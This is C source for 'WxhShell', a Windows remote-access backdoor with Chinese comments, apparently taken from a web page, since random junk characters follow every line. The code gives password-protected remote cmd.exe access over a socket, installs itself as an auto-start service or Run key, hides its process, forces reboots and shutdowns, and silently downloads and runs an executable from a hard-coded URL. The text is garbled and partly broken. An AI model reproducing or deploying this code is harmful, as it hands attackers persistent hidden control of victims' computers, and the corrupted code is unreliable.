    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _J}ce  
    else { AT<gV/1l  
    closesocket(wsh); iH#~eg  
    ExitThread(0); U;D!m+.HK  
    } _K )B  
    break; QN9$n%Z  
    } 1Z'cL~9  
  // 获取shell qo}-m7  
  case 's': { S59!+V  
    CmdShell(wsh); %:h)8e-;  
    closesocket(wsh); xQ>c.}J/i  
    ExitThread(0); j?i Ur2  
    break; _J 6|ju\  
  } SDcxro|8i  
  // 退出 /wK5YN.em  
  case 'x': { <&n3"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); df nmUE  
    CloseIt(wsh); ?cG+rC%  
    break; YPDc /  
    } }9R45h}{<  
  // 离开 u6'vzLmM  
  case 'q': { ge`)sB,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -g]/Ko]2@$  
    closesocket(wsh); 8 2&JYx  
    WSACleanup(); jZ7/p^c5R  
    exit(1); DdJxb{y7  
    break; I--WS[  
        } U> (5J,G  
  } f62z9)`^  
  } Tg&{ P{$  
/_rQ>PgSZW  
  // 提示信息 {0lY\#qcE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +e)So+.W  
} iH9g5G`O  
  } Wcz{": [  
$G"PZ7  
  return; Y)N(uv6  
} y+(<Is0w  
@?!/Pl49R  
// shell模块句柄 >f^&^28  
int CmdShell(SOCKET sock) Xf:CGR8_  
{ PkLRQ}  
STARTUPINFO si; % rdW:  
ZeroMemory(&si,sizeof(si)); v>c[wg9P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {dg3 qg~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b)en/mz  
PROCESS_INFORMATION ProcessInfo; a)(j68c  
char cmdline[]="cmd"; R 9o:{U]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @I]uK[qd  
  return 0; Eg3rbqM- 8  
} n8w|8[uV^  
,M>W)TSH  
// 自身启动模式 }kT;UdIu;  
int StartFromService(void) o2 W pi  
{ [{Fr{La`D'  
typedef struct s.6S :  
{ OZbwquF@  
  DWORD ExitStatus; }1`Rq?@J  
  DWORD PebBaseAddress; 4.,e3  
  DWORD AffinityMask; \C ZiU3  
  DWORD BasePriority; Bo`fy/x#  
  ULONG UniqueProcessId; T?) U|  
  ULONG InheritedFromUniqueProcessId; Q~,E K  
}   PROCESS_BASIC_INFORMATION; 9*[!uu  
`tVBV :4\  
PROCNTQSIP NtQueryInformationProcess; D ,mFme  
56G5JSB=\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nv{ou [vQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <s9Sx>Zb  
!H~!i.m'-  
  HANDLE             hProcess; =V"ags   
  PROCESS_BASIC_INFORMATION pbi; *Sz`=U7n  
r;y&Wa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %saTyF,  
  if(NULL == hInst ) return 0; 3 cT  
b[uTt'p}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k|BY 7C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r4J4|&ym  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b=F"  
2a5yJeaIv*  
  if (!NtQueryInformationProcess) return 0; -hQ=0h~\B.  
WN>.+qM~8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4J!1$   
  if(!hProcess) return 0; HjGT{o  
PgB=<#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :7W5R  
d;D^<-[i  
  CloseHandle(hProcess); s_zZ@azJ  
Vn];vN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ++R-_oQ  
if(hProcess==NULL) return 0; Kl(}s{YFn.  
_=U XNr8S  
HMODULE hMod; vIN6W   
char procName[255]; OTN"XKa$  
unsigned long cbNeeded; [DGq{(O  
I #1_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (cC5zv*E  
x~Se-#$  
  CloseHandle(hProcess); DMfC(w.d  
J#Bz )WmR  
if(strstr(procName,"services")) return 1; // 以服务启动 ai#EFo+#  
eFsku8$<  
  return 0; // 注册表启动 u>k;P UH4  
} D@DK9?#  
@m6pAo4P  
// 主模块 Ko/_w_  
int StartWxhshell(LPSTR lpCmdLine) ot_jG)  
{ #n2GW^x  
  SOCKET wsl; Q{>9Dg  
BOOL val=TRUE; i;/qJKr&#  
  int port=0; FuEHO6nx  
  struct sockaddr_in door; 8f8+3  
am:LLk-Lx  
  if(wscfg.ws_autoins) Install(); [jAhw>  
bpUN8BI[T  
port=atoi(lpCmdLine); &hV;3";  
<@JU0Z"a=  
if(port<=0) port=wscfg.ws_port; c^Wm~"r  
M$! 0ikh  
  WSADATA data; fK4laDB TO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 61jDI^:  
}f6.eqBX4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u6(7#n02  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +|#:*GZ  
  door.sin_family = AF_INET; azE>uEsE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r>z8DX@  
  door.sin_port = htons(port); {K[+nX =#  
jg%D G2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ry7(V:ic  
closesocket(wsl); rWbL_1Eq  
return 1; .3ic%u;|D  
} vP,WV9Q1u  
]'M4Unu#@  
  if(listen(wsl,2) == INVALID_SOCKET) { K32eZv`T7  
closesocket(wsl); EEkO[J[=  
return 1; -P.) 0d(  
} Ef?_d]  
  Wxhshell(wsl); gO$!_!@LM  
  WSACleanup(); (8H^{2K~  
`bH Eu"(,  
return 0; dF FB\|e;0  
{p2%4  
} d]@9kG  
!r[uwJ=  
// 以NT服务方式启动 /iukiWeW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d6M d~$R  
{ D ORFK  
DWORD   status = 0; +x4o#N  
  DWORD   specificError = 0xfffffff; x&;{4F Nw  
<Ft.{aNq$c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M4DRG%21  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >+$1 p_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Z|cUHo  
  serviceStatus.dwWin32ExitCode     = 0; +,PBhB  
  serviceStatus.dwServiceSpecificExitCode = 0; c\RDa|B,  
  serviceStatus.dwCheckPoint       = 0; >O?EFd>E  
  serviceStatus.dwWaitHint       = 0; OSq"q-Q  
]INbRytvc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 43P?f+IYrk  
  if (hServiceStatusHandle==0) return; e|{6^g<ru  
Yoaz|7LS  
status = GetLastError(); z{tyB  
  if (status!=NO_ERROR) Z7%>O:@z  
{ Y> 7/>x6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \hm=AGI0  
    serviceStatus.dwCheckPoint       = 0; |'a5n h!  
    serviceStatus.dwWaitHint       = 0; Va !HcG1^:  
    serviceStatus.dwWin32ExitCode     = status; ,AM6E63  
    serviceStatus.dwServiceSpecificExitCode = specificError; GMiWS:`;v`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nf3Kz#!B  
    return;  /@%  
  } XmXHs4  
lRentNg0b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #n0P'@d,r  
  serviceStatus.dwCheckPoint       = 0; *t*yozN  
  serviceStatus.dwWaitHint       = 0; $XaZqzeVI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [kn`~hI  
} qwVpGNc45  
rK"$@ tc  
// 处理NT服务事件,比如:启动、停止 *^QfTKN   
VOID WINAPI NTServiceHandler(DWORD fdwControl) YK_a37E{F  
{ M22 ^.,Z  
switch(fdwControl) :%;K`w  
{ B_@>HZ\&  
case SERVICE_CONTROL_STOP: J *^|ojX  
  serviceStatus.dwWin32ExitCode = 0; K);:+s-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Ax1?Nx$  
  serviceStatus.dwCheckPoint   = 0; X $cW!a  
  serviceStatus.dwWaitHint     = 0; tl0_as  
  { 9[8?'`m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Y /  
  } ]D(%Ku,O%  
  return; %tmK6cY4Y  
case SERVICE_CONTROL_PAUSE: "-N%`UA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .D>%-  
  break; !U*i13  
case SERVICE_CONTROL_CONTINUE: C>t1~^Q},9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hPhN7E03  
  break; 1Te: &d  
case SERVICE_CONTROL_INTERROGATE: gK`6 NUj  
  break; V#5BZU-  
}; 0*,r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |W{z,e01x  
} !^B`7  
?][Mv`ST  
// 标准应用程序主函数 UB(Q &U_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &!m;s_gi  
{ (?)".Q0  
 [T !#s  
// 获取操作系统版本 U%j=)VD ])  
OsIsNt=GetOsVer(); TzerAX^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1R1J/Z*V/  
rzEE |  
  // 从命令行安装 .hBE&Y>\  
  if(strpbrk(lpCmdLine,"iI")) Install(); w^z}!/"]u  
bL{wCo-Y  
  // 下载执行文件 ; l+3l ez  
if(wscfg.ws_downexe) { O_(/uLH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z8jQaI]j  
  WinExec(wscfg.ws_filenam,SW_HIDE); k}Ahvlq)  
} *\:u}'[  
=Tb~CT=  
if(!OsIsNt) { }.MJVB3  
// 如果时win9x,隐藏进程并且设置为注册表启动 rhwY5FD?  
HideProc(); MQw{^6Z>1  
StartWxhshell(lpCmdLine); 4AzS~5S  
} WE68a!6  
else d; V  
  if(StartFromService()) om9fg66  
  // 以服务方式启动 -=5z&) X  
  StartServiceCtrlDispatcher(DispatchTable); |jF)~k6  
else W UDQb5k  
  // 普通方式启动 }(O 7tC  
  StartWxhshell(lpCmdLine); J{\S+O2,*  
Z/6B[,V  
return 0; 4Poi:0oOys  
} %Mz(G-I.\  
k9'%8(7M:  
L:%; Fx2  
T6%*t#8r  
=========================================== TZ?va@2  
j+w*Absh  
9Clddjf?c  
x]XhWScr '  
_(TavL>l =  
|:L<Ko  
" fp|b@  
Z"] ben  
#include <stdio.h> -U'6fx) +  
#include <string.h> #rF|X6P  
#include <windows.h> Vq -!1.v3  
#include <winsock2.h> 6rF[eb  
#include <winsvc.h> srw5&s(3X  
#include <urlmon.h> }<9*eAn`  
.~4%TsBaY  
#pragma comment (lib, "Ws2_32.lib") n,bZj<3t  
#pragma comment (lib, "urlmon.lib") '9H7I! L@  
w%GEOIj}  
#define MAX_USER   100 // 最大客户端连接数 $._p !,<  
#define BUF_SOCK   200 // sock buffer O}*[@uv/  
#define KEY_BUFF   255 // 输入 buffer GGo nA  
#3f\,4K5  
#define REBOOT     0   // 重启 wk<QYLEk  
#define SHUTDOWN   1   // 关机 [^A93F  
RYZh"1S;k  
#define DEF_PORT   5000 // 监听端口 Vdjf F&q  
X0* y8"  
#define REG_LEN     16   // 注册表键长度 #(?EL@5  
#define SVC_LEN     80   // NT服务名长度 !6'j W!  
=.#*MYB.l  
// 从dll定义API = iB0ak  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f5IO<(:E^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GE\@mu *pO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]/XNfb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l Ztq_* Fl  
& ;ie+/B  
// wxhshell配置信息 '3 xvQFg  
struct WSCFG { 22a$//}E  
  int ws_port;         // 监听端口 sF :3|Yy0  
  char ws_passstr[REG_LEN]; // 口令 ff**)Xdh  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q|rrbxb  
  char ws_regname[REG_LEN]; // 注册表键名 B<T wTv  
  char ws_svcname[REG_LEN]; // 服务名 6=3}gd5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m jC6(?V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hR Y *WL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iEux`CcJ.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CTv-$7#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w^sM,c5d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H1N_  
f*04=R?w7>  
}; zHw[`"[  
k%?wNk>  
// default Wxhshell configuration r3<yG"J86  
struct WSCFG wscfg={DEF_PORT, -)(HG)3  
    "xuhuanlingzhe", rLGh>bw#`3  
    1, :(VD<"X  
    "Wxhshell", 9]r6V   
    "Wxhshell", ~rN~Ql%S  
            "WxhShell Service", `So*\#\T  
    "Wrsky Windows CmdShell Service", tRZCOEo4  
    "Please Input Your Password: ", } :P/eY  
  1, dU+28  
  "http://www.wrsky.com/wxhshell.exe", #lRkp.e  
  "Wxhshell.exe" sc\4.Ux%Q  
    }; @jAuSBy  
sqFMO+  
// 消息定义模块 @{\q1J>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ~,Ck  
char *msg_ws_prompt="\n\r? for help\n\r#>"; by,"Orpwq;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .e%PK  
char *msg_ws_ext="\n\rExit."; r%A-  
char *msg_ws_end="\n\rQuit."; Q9=X|  
char *msg_ws_boot="\n\rReboot..."; fFudoIC  
char *msg_ws_poff="\n\rShutdown..."; D'2&'7-sm\  
char *msg_ws_down="\n\rSave to "; dp\pkx7  
y[BUWas(  
char *msg_ws_err="\n\rErr!"; 1nhC! jDD  
char *msg_ws_ok="\n\rOK!"; xH#R_  
L6c =uN  
char ExeFile[MAX_PATH]; AI}29L3C  
int nUser = 0; EH<rUv63  
HANDLE handles[MAX_USER]; Dp4\rps  
int OsIsNt; '+LC.lM  
9#L0Q%,*  
SERVICE_STATUS       serviceStatus; $e1==@ R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {{w5F2b((%  
cl:h 'aG  
// 函数声明 GawQ~rD  
int Install(void); AAUFX/}8P  
int Uninstall(void); `Nmw  
int DownloadFile(char *sURL, SOCKET wsh); J24<X9b  
int Boot(int flag); >J,Rx!fq3  
void HideProc(void); kBg,U8|S  
int GetOsVer(void); |Y?1rLC  
int Wxhshell(SOCKET wsl); Ze_4MwC W  
void TalkWithClient(void *cs); xsn2Qn/P  
int CmdShell(SOCKET sock); PLlad\  
int StartFromService(void); +Z99x#  
int StartWxhshell(LPSTR lpCmdLine); tjYqdbA)  
+j Z,vKr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mDZ/Kp{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Ry?}5&:  
DtLga[M  
// 数据结构和表定义 Q |,(C0<G  
SERVICE_TABLE_ENTRY DispatchTable[] = k'Is]=3  
{ R"%zmA@o=  
{wscfg.ws_svcname, NTServiceMain},  1$nlRQi  
{NULL, NULL} VrDSN  
}; EY'kIVk  
eU/o I}A  
// 自我安装 &/o4R:i  
int Install(void) i[,9hp  
{ g{0a]'ph  
  char svExeFile[MAX_PATH]; Itaq4^CE  
  HKEY key; IqEE.XhaK  
  strcpy(svExeFile,ExeFile); .yK~FzLs  
tgk] sQY  
// 如果是win9x系统,修改注册表设为自启动 oihn`DY {  
if(!OsIsNt) { kF{'?R5 w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mmSC0F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]=Im0s  
  RegCloseKey(key); r2dU>U*:4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BJA&{DMHm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jc8^m0_  
  RegCloseKey(key); i3 ?cL4  
  return 0; VS.~gHx  
    } +r8:t5:/I  
  } I$yFCdXr  
} oW[];r  
else { ,_+Gb  
NA@<v{z  
// 如果是NT以上系统,安装为系统服务 jTSN`R9@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b3j?@31AD  
if (schSCManager!=0) 4th*=ku  
{ $r3kAM;V:  
  SC_HANDLE schService = CreateService 3:H[S_q  
  ( hD)'bd  
  schSCManager, S1d^mu  
  wscfg.ws_svcname, C_5o&O8Bc  
  wscfg.ws_svcdisp, LpV2XL$p>#  
  SERVICE_ALL_ACCESS, @la/sd4`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nr*nX  
  SERVICE_AUTO_START, &|]GTN`E  
  SERVICE_ERROR_NORMAL, ^$>Q6.x?*)  
  svExeFile, FqWW[Bgd  
  NULL, ,_wpYTl*X  
  NULL, s:O8dL /  
  NULL, ^pc?oDPSg  
  NULL, r(qw zUI  
  NULL eE=}^6)(*  
  ); fpPB_P{Ua  
  if (schService!=0) R(t1Ei.-?  
  { V7S[rI<<r  
  CloseServiceHandle(schService); ;:WM^S  
  CloseServiceHandle(schSCManager); NsJ]Tp5!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .`ZuUr  
  strcat(svExeFile,wscfg.ws_svcname); 4{v?<x8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vb57B.I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E[=# Rw!*  
  RegCloseKey(key); vB?(|  
  return 0; N{}o*K  
    }  S!Bnz(z  
  } l_lK,=cLj+  
  CloseServiceHandle(schSCManager); SuJa?VU1w  
} Can:!48  
} 4 (>8tP\Y  
?PSJQ3BC|  
return 1; SHA6;y+U/~  
} >gT QD\k:D  
N5F+h94z]  
// 自我卸载 )b=m|A GX  
int Uninstall(void) o4qB0h  
{ Fs_zNN  
  HKEY key; By;{Y[@rS  
$5r1Si)  
if(!OsIsNt) { @xkI?vK6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .4%6_`E  
  RegDeleteValue(key,wscfg.ws_regname); e_ h`x+\:  
  RegCloseKey(key); IKFNu9*"h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6DxT(VU}  
  RegDeleteValue(key,wscfg.ws_regname); 1,Uf-i  
  RegCloseKey(key); hmES@^n!_  
  return 0; ~&7 *<`7{  
  } f1wwx|b%.  
} J,_IHzO~Z  
} )uK Tf=;  
else { btDPP k'  
xN>+!&3%w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 >:RFCo  
if (schSCManager!=0) s g6e% 5  
{ & m~   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bc1MKE5  
  if (schService!=0) )%Lgo${[;  
  { gMB/ ~g5b0  
  if(DeleteService(schService)!=0) { *<l9d  
  CloseServiceHandle(schService); fK1^fzV  
  CloseServiceHandle(schSCManager); G_5E#{u  
  return 0; `\Hs{t]  
  } Zoyo:vv&  
  CloseServiceHandle(schService); 8 huB<^  
  } aUy=D:\  
  CloseServiceHandle(schSCManager); r}~l(  
} &xqe8!FeA  
} EN%Xs578  
| We @p  
return 1; ~j\/3;^s   
} wz!]]EQ!o  
9CWUhS   
// 从指定url下载文件 ZtEHP`Iin  
int DownloadFile(char *sURL, SOCKET wsh) #1zWzt|DW  
{ 9& W\BQ  
  HRESULT hr; ,9#G/nF  
char seps[]= "/"; r`cCHZo/V  
char *token; <!zItFMD[m  
char *file; A?;/]m;  
char myURL[MAX_PATH]; P N_QK Z  
char myFILE[MAX_PATH]; 7@DinA!  
i*Y/q-N|  
strcpy(myURL,sURL); {F k]X#j  
  token=strtok(myURL,seps); !@/?pXt|  
  while(token!=NULL) ,[bcyf  
  { !T0IMI  
    file=token; ?V[yw=sl04  
  token=strtok(NULL,seps); cx2s|@u0  
  } 7B% @f9g  
W{;!JI7;z  
GetCurrentDirectory(MAX_PATH,myFILE); fD\h5`-  
strcat(myFILE, "\\"); %e%nsj6  
strcat(myFILE, file); /p>"|z  
  send(wsh,myFILE,strlen(myFILE),0); 3 XfXMVm  
send(wsh,"...",3,0); @-b}iP<T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l}(~q!r  
  if(hr==S_OK) jgbw'BBu  
return 0; fJE ki>1  
else x\Sp~]o3C  
return 1; C [2tH2*#  
Vn/6D[}Tu  
} dIO\ lL   
*qb`wg  
// 系统电源模块 V7[qf "  
int Boot(int flag) o3WkbMJWM  
{ (tq)64XVz  
  HANDLE hToken; :za!!^  
  TOKEN_PRIVILEGES tkp; W: ?-d{  
Zo0&<QWj  
  if(OsIsNt) { v8%]^` '  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mG@Q}Y(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -~(0:@o ;  
    tkp.PrivilegeCount = 1; Pucf0 #  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5e2m EQU>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OC>" +  
if(flag==REBOOT) { _ _)Z Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;JmD(T7{  
  return 0; H7SqM D*y9  
} Q49|,ou[H  
else { &erNVD5o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `\Npu  
  return 0; @s IZ  
} QHM39Eu]  
  } ,!Hl@(  
  else { Qp=uiXs  
if(flag==REBOOT) { 1Xs! ew)>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8% |x)  
  return 0; 3?geJlD4  
} Sc0ZT/Lm  
else { isd[l-wAmf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c"z%AzUV'  
  return 0; JV/,QWar  
} wk/->Rz  
} ,H%\+yn{  
Ml3F\ fAW  
return 1; ~xJD3Qf  
} sS|zz,y  
;4_n:XUgo;  
// win9x进程隐藏模块 <^~F~]wnH  
void HideProc(void) d}=p-s.GA  
{ t!=S[  
7RLh#D|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p&\uF#I;  
  if ( hKernel != NULL ) "D k:r/  
  {  A:!{+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OiOL 4}5(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i!HGM=f  
    FreeLibrary(hKernel); ES~]rPVS  
  } B%pvk.`  
y,x~S\>+  
return; s_[?(Ip{  
} %G@aZWk Sa  
gMvvDP!Wp  
// 获取操作系统版本 d;^?6V  
int GetOsVer(void) /7#&qx8  
{ 0%t|?@HoN  
  OSVERSIONINFO winfo; .3&m:P8zV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tWiV0PTI  
  GetVersionEx(&winfo); [Ok8l='  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e&5K]W0{  
  return 1; XJ\q!{;h  
  else 5^dw!^d  
  return 0; a#IJ<^[8  
} YZ>cE#  
RFC;1+Jn  
// 客户端句柄模块 p(G?  
int Wxhshell(SOCKET wsl) Rv-o__C!  
{ r Lh h  
  SOCKET wsh; wj^I1;lO  
  struct sockaddr_in client; hLvv:C@  
  DWORD myID; rYJ ))@  
a)1,/:7'  
  while(nUser<MAX_USER) <@A^C$g  
{ }D^Gt)   
  int nSize=sizeof(client); RtL<hD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  M9K).P=  
  if(wsh==INVALID_SOCKET) return 1; ; ]Aa  
*ls6#j@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rieQ&Jt"  
if(handles[nUser]==0)  vt N5{C  
  closesocket(wsh); 76b7-Nj"  
else A 5 X+Z  
  nUser++; EVFfXv^  
  } u B\& Q;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @:&+wq_>A^  
fhmr*E'J  
  return 0; F47n_JV!d  
} zq.&Mw?  
%SGO"*_  
// 关闭 socket kPH^X}O$  
void CloseIt(SOCKET wsh) =!^iiHF  
{ ,NEs{! T  
closesocket(wsh); CD_f[u  
nUser--; Wu( 8 G  
ExitThread(0); R3n&o%$*  
} Rda1X~-g  
nY9qYFw  
// 客户端请求句柄 I_G>W3  
void TalkWithClient(void *cs) b3xkJ&Z  
{ P|4E1O  
Y:%)cUxA  
  SOCKET wsh=(SOCKET)cs; rfRo*u2"  
  char pwd[SVC_LEN]; {*;]I?9Al  
  char cmd[KEY_BUFF]; 2^6TrZA7M6  
char chr[1]; s;s-6%p  
int i,j; cWO )QIE  
_[i=TqVmf  
  while (nUser < MAX_USER) { /]zib@i  
I#t9aR+&  
if(wscfg.ws_passstr) { S7ehk*`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]HV~xD7\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _(`X .D  
  //ZeroMemory(pwd,KEY_BUFF); &ORv bnd6  
      i=0; !X%!7wsc  
  while(i<SVC_LEN) { IS2Ij  
T[h}A"yK;  
  // 设置超时 V-;nj,.mY  
  fd_set FdRead; Cw[Od"B\?U  
  struct timeval TimeOut; E#$_uZ4  
  FD_ZERO(&FdRead); mK40 f  
  FD_SET(wsh,&FdRead); 5**5b9bj-9  
  TimeOut.tv_sec=8; o|qeh<2=x  
  TimeOut.tv_usec=0; 62)lf2$1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A Ok7G?Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;D"P9b]9$  
'%-xe3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y- <PsP-I  
  pwd=chr[0]; {<}I9D5  
  if(chr[0]==0xd || chr[0]==0xa) { tw4am.o1]  
  pwd=0; ;}eEG{`Y  
  break; t7oz9fSz=?  
  } M-Z6TL  
  i++; -{8Q= N  
    } :qCm71*  
c+b:K  
  // 如果是非法用户,关闭 socket I "Q9W|J_&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^dUfTG9{  
} ADyNNMcx  
|T$a+lHMD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =o{: -EKQF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @0UwI%.  
oX 2DFgz  
while(1) { ZU| V+yT  
"`jZ(+  
  ZeroMemory(cmd,KEY_BUFF); +A'q#~yILa  
7<R6T9g  
      // 自动支持客户端 telnet标准    zfjDb  
  j=0; F`;TU"pDf  
  while(j<KEY_BUFF) { }uvKE|umj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n^JUZ8  
  cmd[j]=chr[0]; ^;)SFmjg%  
  if(chr[0]==0xa || chr[0]==0xd) { KtfkE\KP  
  cmd[j]=0; r\l3_t  
  break; [I++>4  
  } v E3{H  
  j++; tv@Z 5  
    } } Jdh^t.  
<nOuyGIZ  
  // 下载文件 ui.QYAYaV  
  if(strstr(cmd,"http://")) { GFQG(7G9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); de=5=>P7  
  if(DownloadFile(cmd,wsh)) X|-v0 f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {h vQ<7b  
  else c6?c>*z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d739UhKC  
  } .*RB~c t  
  else { A=v lC?&Z  
AQnJxIL:  
    switch(cmd[0]) { Pg*?[^*  
  ]b0zkoD9<  
  // 帮助 dDv{9D,  
  case '?': { bK_0NrXP  
